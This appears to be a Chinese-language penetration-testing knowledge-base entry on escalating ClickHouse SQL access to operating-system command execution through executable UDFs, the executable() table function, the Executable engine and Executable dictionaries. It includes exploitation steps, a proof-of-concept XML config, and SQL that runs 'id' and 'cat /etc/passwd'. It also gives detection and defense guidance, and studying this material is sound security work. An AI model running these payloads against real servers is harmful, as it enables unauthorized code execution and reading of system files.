ClickHouse 命令执行:executable UDF 配置、executable() 表函数与 Executable 引擎/字典
pentest/privilege-escalation · verified
一句话结论
ClickHouse 的 executable 类型 UDF、executable() 表函数、ENGINE=Executable 表与 Executable 字典都会调用外部程序并把标准输出作为查询结果;只要能写 UDF 配置或 user_scripts 脚本(或目标已存在可执行 UDF),就能用 SELECT cmd()/SELECT * FROM executable(...) 执行系统命令,从数据库权限升级为 RCE。
原理
- UDF 配置中的
<type>executable</type>指定外部命令、输出格式与返回类型;execute_direct=0表示通过sh -c执行命令字符串,execute_direct=1表示在user_scripts目录查找同名脚本。 - UDF 配置需放在
user_defined_executable_functions_config匹配的 XML 文件中(常见为/etc/clickhouse-server/*_function.xml),并确保config.xml包含该 glob;修改后通常需要重启或触发配置重载,lifetime=0表示常驻进程。 executable('script.sh', TabSeparated, 'output String')表函数直接运行user_scripts下的脚本或命令,并把输出按指定格式解析成表;ENGINE=Executable('id', TabSeparated)建表后查询即触发;SOURCE(EXECUTABLE(COMMAND 'id' FORMAT TabSeparated))字典在dictGet时触发。- 因此三条路径都指向同一个 sink:ClickHouse 以自身进程权限执行外部命令。若与
INTO OUTFILE组合,先写脚本再执行,可绕过“只能写文件”或“只能执行已有程序”的单一限制。 - 已注册的可执行 UDF 可从
system.functions WHERE origin='ExecutableUserDefined'发现;若其command可控或本身就能执行命令,可能无需写配置即可利用。
触发条件
- 拥有 ClickHouse SQL 执行权限;
executable表函数/表引擎/字典未被禁用,或 UDF 配置文件可写、user_scripts目录可写;- 修改 UDF 配置通常需要重启 ClickHouse 或重载配置,需评估业务影响;
- ClickHouse 进程对目标命令/脚本有执行权限;部分托管环境禁止 Executable DDL 或配置目录只读,此时只能利用已有 UDF。
利用步骤
- 枚举现有能力:
SELECT name,origin,create_query FROM system.functions WHERE origin='ExecutableUserDefined';、SELECT name FROM system.table_functions;,并检查system.settings中 executable 相关项。 - 路径 A(配置文件):写
/etc/clickhouse-server/cmd_function.xml,定义<name>cmd</name>、<command>id</command>、<execute_direct>0</execute_direct>、<format>TabSeparated</format>;确认config.xml的user_defined_executable_functions_config匹配;重启服务;执行SELECT cmd();。 - 路径 B(user_scripts):用
INTO OUTFILE写user_scripts/shell.sh(可循环读取参数),再SELECT * FROM executable('shell.sh', TabSeparated, 'output String', (SELECT 'id'));。 - 路径 C(表引擎):
CREATE TABLE cmd_table (output String) ENGINE = Executable('id', TabSeparated); SELECT * FROM cmd_table;。 - 路径 D(字典):创建
SOURCE(EXECUTABLE(COMMAND 'id' FORMAT TabSeparated))字典,SELECT dictGet('cmd_dict','output',toUInt64(1));。 - 验证命令输出;清理新建的 XML/脚本/表/字典,恢复配置并重启(若修改过配置)。
PoC
<!-- /etc/clickhouse-server/cmd_function.xml -->
<functions>
<function>
<type>executable</type>
<name>cmd</name>
<return_type>String</return_type>
<format>TabSeparated</format>
<command>id</command>
<execute_direct>0</execute_direct>
<lifetime>0</lifetime>
</function>
</functions>
SELECT cmd();
-- 带参数
SELECT shell('id');
SELECT shell('cat /etc/passwd');
-- 表函数
SELECT * FROM executable('id', TabSeparated, 'output String');
SELECT * FROM executable('shell.sh', TabSeparated, 'output String', (SELECT 'id'));
-- 表引擎
CREATE TABLE cmd_table (output String) ENGINE = Executable('id', TabSeparated);
SELECT * FROM cmd_table;
-- 字典
CREATE DICTIONARY cmd_dict (id UInt64, output String)
PRIMARY KEY id
SOURCE(EXECUTABLE(COMMAND 'id' FORMAT TabSeparated))
LIFETIME(0)
LAYOUT(FLAT());
SELECT dictGet('cmd_dict', 'output', toUInt64(1));
变体与关联
- 变体:
execute_direct=1时命令必须是user_scripts下的脚本;可先通过 [[pentest-privilege-escalation-clickhouse-into-outfile]] 写入脚本。 - 变体:已有 Executable UDF 的
command若可被参数注入,可直接复用而无需写配置。 - 关联:MySQL UDF/dumpfile 链 [[pentest-privilege-escalation-mysql-udf-dumpfile-root]];PostgreSQL
COPY FROM PROGRAM[[pentest-privilege-escalation-postgresql-superuser-copy-from-program]];ClickHouse 信息收集 [[pentest-recon-clickhouse-system-table-credential]]。
检测与防御
- 检测:
/etc/clickhouse-server/出现新 XML;user_scripts目录新增/修改脚本;查询中出现executable(、ENGINE = Executable、SOURCE(EXECUTABLE、dictGet;system.functions出现新的 ExecutableUserDefined;ClickHouse 进程产生异常子进程。 - 防御:以低权专用用户运行 ClickHouse;配置目录与
user_scripts对 clickhouse 用户只读;禁用不必要的 executable 表函数/引擎/字典(按版本使用allow_executable等设置或权限控制);限制 CREATE DDL;文件完整性监控与进程审计;托管环境保持配置只读。 - 注意:修改 UDF 配置通常需要重启,可能中断业务;
execute_direct=0通过 shell 执行,注意命令注入与引号转义;利用前确认目标版本支持对应函数/引擎。